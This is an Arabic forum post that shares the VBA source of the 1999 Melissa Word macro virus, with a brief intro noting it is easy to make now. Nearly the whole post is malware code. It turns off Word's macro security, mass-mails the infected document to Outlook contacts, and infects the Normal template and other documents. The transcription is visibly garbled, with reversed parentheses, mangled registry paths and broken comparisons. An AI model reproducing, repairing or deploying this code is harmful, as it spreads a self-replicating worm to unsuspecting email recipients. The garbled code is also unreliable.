كود فيروس مليسا المدمر

طبعا الكل يعلم ماهو فيروس مليسا وما نتج عنه من اضرار كبيره فى الاجهزه الان تسيع صناعته
ولكن لاتجربها فى اخوك لمسلم
الكود
كود فيروس ميليسا
PrivateSub AutoOpen)(On Error Resume Next
p$ ="clone"
IfSystem.PrivateProfileString)"","HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity","Level"( ><""Then
CommandBars)"Macro"(.Controls)"Security..."(.Enabled=False
System.PrivateProfileString)"","HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity","Level"( =1&
Elsep$ ="clone"
CommandBars)"Tools"(.Controls)"Macro"(.Enabled=False
Options.ConfirmConversions= )1-1(:Options.VirusProtection= )1-1(:Options.SaveNormalPrompt= )1-1(
EndIf
Dim UngaDasOutlook,DasMapiName,BreakUmOffASlice
Set UngaDasOutlook=CreateObject)"Outlook.Application"(
Set DasMapiName=UngaDasOutlook.GetNameSpace)"MAPI"(
IfSystem.PrivateProfileString)"","HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?"( >< "...by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists)y(
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem)0(
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries)x(
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x < 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From" & Application.UserName
BreakUmOffASlice.Body = "Here is that document you askedfor ...don't show anyone else ;-("
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString)"", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?"( = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item)1(
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item)1(
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If  ADI1.Name >< "Melissa" Then
If ADCL < 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If  NTI1.Name >< "Melissa" Then
If NTCL < 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT >< True And DoAD >< True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines)1, 1( = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString )"Private Sub Document_Close)("(
Do While ADI1.CodeModule.Lines)BGN, 1( >< ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines)BGN, 1(
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines)1, 1( = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString )"Private Sub Document_Open)("(
Do While NTI1.CodeModule.Lines)BGN, 1( >< ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines)BGN, 1(
BGN = BGN + 1
Loop
End If
CYA:
If NTCL >< 0 And ADCL = 0 And )InStr)1,  ActiveDocument.Name, "Document"( = False( Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf )InStr)1,  ActiveDocument.Name, "Document"( >< False( Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000andWord 97 2000 Virus? You Decide!
'Word---If Day)Now( = Minute)Now( Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over.Im outta here."